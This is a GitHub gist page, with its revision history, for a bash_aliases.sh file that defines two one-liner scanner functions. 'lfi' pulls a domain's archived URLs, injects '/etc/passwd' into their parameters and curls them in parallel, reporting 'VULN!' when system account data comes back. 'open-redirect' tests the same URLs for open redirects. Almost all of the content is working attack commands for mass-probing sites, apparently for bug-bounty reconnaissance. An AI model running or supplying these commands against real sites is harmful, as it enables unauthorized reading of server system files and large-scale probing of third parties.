Skip to content

Instantly share code, notes, and snippets.

@hunter0x8
Forked from dwisiswant0/bash_aliases.sh
Created August 18, 2020 06:06
Show Gist options
  • Select an option

  • Save hunter0x8/7e187eb816c7220033104a60cbb9a7e7 to your computer and use it in GitHub Desktop.

Select an option

Save hunter0x8/7e187eb816c7220033104a60cbb9a7e7 to your computer and use it in GitHub Desktop.

Revisions

  1. @dwisiswant0 dwisiswant0 revised this gist Aug 17, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion bash_aliases.sh
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,5 @@
    lfi() {
    gau $1 | gf redirect | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
    gau $1 | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
    }

    open-redirect() {
  2. @dwisiswant0 dwisiswant0 revised this gist Aug 17, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion bash_aliases.sh
    Original file line number Diff line number Diff line change
    @@ -3,5 +3,5 @@ lfi() {
    }

    open-redirect() {
    local LHOST="http://localhost"; gau $1 | gf lfi | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
    local LHOST="http://localhost"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
    }
  3. @dwisiswant0 dwisiswant0 revised this gist Aug 17, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion bash_aliases.sh
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,5 @@
    lfi() {
    gau $1 | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
    gau $1 | gf redirect | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
    }

    open-redirect() {
  4. @dwisiswant0 dwisiswant0 created this gist Aug 17, 2020.
    7 changes: 7 additions & 0 deletions bash_aliases.sh
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,7 @@
    lfi() {
    gau $1 | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
    }

    open-redirect() {
    local LHOST="http://localhost"; gau $1 | gf lfi | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
    }